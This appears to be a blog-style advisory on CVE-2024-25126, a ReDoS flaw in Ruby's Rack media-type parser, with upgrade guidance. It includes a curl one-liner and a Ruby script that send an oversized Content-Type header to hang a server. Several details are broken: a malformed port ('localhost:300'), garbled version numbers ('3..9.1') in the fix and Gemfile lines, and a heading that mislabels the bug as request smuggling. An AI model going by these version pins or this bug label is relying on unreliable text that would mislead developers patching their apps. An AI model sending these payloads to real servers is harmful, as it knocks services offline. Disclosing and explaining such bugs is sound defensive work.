In February 2024, a new security vulnerability hit the Ruby web world: CVE-2024-25126, affecting the widely used Rack library. Rack is a core piece behind popular frameworks like Rails and Sinatra, so this issue matters for a huge number of Ruby web apps.
In this post, I’ll walk you through how the bug works, what an attacker can do, and—crucially—how to fix it. If you’re running a Ruby web server, even if you think your site is “too small to matter,” you’ll want to pay attention.
What is Rack?
Rack is a layer between your Ruby code and the actual web server. When you send any request to a modern Ruby app, Rack is likely handling important pieces like parsing headers, cookies, and bodies.
If Rack doesn’t handle things smoothly, *nobody* downstream does—this includes your business logic and security features.
The Bug: Lengthy Media Type Parsing (Request Smuggling)
The heart of CVE-2024-25126 is elegantly simple: Certain carefully crafted Content-Type headers (like "multipart/form-data; boundary=" repeated many times) take a very long time for Rack to parse.
Why? Because the original parser for the *media type* was too trusting and its performance (the amount of time it took) was polynomial—not linear. If an attacker sends a long, malicious header, Rack spends forever chewing through it, tying up your server and making your app *unavailable* to real users.
This is called a "denial of service" (DoS) vulnerability and, in this case, it's a variant called ReDoS--Regular-expression Denial of Service.
Technical Detail:
The media type parser, specifically how it splits and inspects parameters, had a performance that, for certain inputs, grew at the *square* (second degree polynomial) with respect to input length.
Exploit Example
Here’s how a simple script can demonstrate the risk. We’ll use curl to send a "bad" header that takes ages for Rack to parse.
# Send a POST with a nasty, slow Content-Type header
curl -X POST http://localhost:300/ \
-H "Content-Type: multipart/form-data; boundary=\"$(python -c 'print("A="*500)')\""
This header isn't typical, but it tricks Rack into extremely slow processing, tying up your server’s CPU and possibly making it unresponsive!
If you want Ruby code to generate such headers
require 'net/http'
header_value = 'multipart/form-data; ' + ('A=' * 500)
uri = URI('http://localhost:300/')
Net::HTTP.start(uri.host, uri.port) do |http|
req = Net::HTTP::Post.new(uri)
req['Content-Type'] = header_value
req.body = "test"
http.request(req) # This will hang the server process
end
Who’s Affected?
* Any app using Rack (e.g. Rails, Sinatra, Hanami, Grape)
* Any supported or unsupported Ruby version if Rack is in use
* All types of servers (Puma, Unicorn, WEBrick, etc)
How Was It Fixed?
The fix, released in Rack 3..9.1 and 2.2.8.1, involves smarter, safer parsing. The parser now processes parameters in a way that keeps performance linear—bad input can't tie up the server.
Upgrade ASAP! Just updating to the latest patch closes the vulnerability.
In your Gemfile
gem 'rack', '~> 3..9.1'
# or for older apps
gem 'rack', '~> 2.2.8.1'
Then
bundle update rack
References and Further Reading
- CVE-2024-25126 on GitHub Advisory Database
- Official Rack Security Advisory
- Rack Changelog
- Explaining ReDoS
- RubyGems.org: Rack
Stay vigilant: Watch for abnormal slowdowns—they might be abuse attempts.
This is a simple bug but a powerful weapon in the wrong hands. Stay patched and safe! 👨💻🛡️
*Exclusively prepared for readers who want plain language and actionable advice on emerging web vulnerabilities. Stay tuned for more simple, honest breakdowns of big risks to your web stack.*
Timeline
Published on: 02/29/2024 00:15:51 UTC
Last modified on: 02/29/2024 13:49:47 UTC